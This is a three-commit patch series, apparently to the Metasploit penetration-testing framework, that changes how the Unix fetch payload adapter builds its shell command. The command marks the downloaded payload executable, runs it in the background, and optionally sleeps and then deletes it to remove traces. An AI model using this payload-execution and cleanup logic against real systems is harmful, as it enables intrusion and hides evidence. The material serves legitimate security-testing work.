From 2faa33ed8e0bcb489edd05b4607afd4335a2c668 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 12 Dec 2024 09:08:52 -0600 Subject: [PATCH 1/3] Fix bug in the way we are executing fetch payload when FETCH_DLETE is set to true --- lib/msf/core/payload/adapter/fetch.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 142878c68798..4de4f0b15577 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -203,8 +203,12 @@ def _execute_win def _execute_nix cmds = "; chmod +x #{_remote_destination_nix}" - cmds << "; #{_remote_destination_nix} &" - cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] + if datastore['FETCH_DELETE'] + cmds << "; (#{_remote_destination_nix} &)" + cmds << ";rm -rf #{_remote_destination_nix}" + else + cmds << "; #{_remote_destination_nix} &" + end cmds end From 594946db47447ad34a82ad23c88716f0aa1e8513 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 13 Dec 2024 10:31:10 -0600 Subject: [PATCH 2/3] Add sleep to prevent race condition, remove unneeded spaces --- lib/msf/core/payload/adapter/fetch.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 4de4f0b15577..84cefa41ce62 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -202,12 +202,14 @@ def _execute_win end def _execute_nix - cmds = "; chmod +x #{_remote_destination_nix}" + cmds = ";chmod +x #{_remote_destination_nix}" if datastore['FETCH_DELETE'] - cmds << "; (#{_remote_destination_nix} &)" - cmds << ";rm -rf #{_remote_destination_nix}" + # sometimes the delete can happen before the process is created + sleep_delete = rand(2..7) + cmds << ";(#{_remote_destination_nix} &)" + cmds << ";sleep #{sleep_delete};rm -rf #{_remote_destination_nix}" else - cmds << "; #{_remote_destination_nix} &" + cmds << ";#{_remote_destination_nix} &" end cmds end From 03341099945839cc237fc034fc43a937b3a705bf Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 13 Dec 2024 16:43:17 -0600 Subject: [PATCH 3/3] Streamline command --- lib/msf/core/payload/adapter/fetch.rb | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 84cefa41ce62..fa17aeff1bb1 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -203,14 +203,8 @@ def _execute_win def _execute_nix cmds = ";chmod +x #{_remote_destination_nix}" - if datastore['FETCH_DELETE'] - # sometimes the delete can happen before the process is created - sleep_delete = rand(2..7) - cmds << ";(#{_remote_destination_nix} &)" - cmds << ";sleep #{sleep_delete};rm -rf #{_remote_destination_nix}" - else - cmds << ";#{_remote_destination_nix} &" - end + cmds << ";#{_remote_destination_nix}&" + cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] cmds end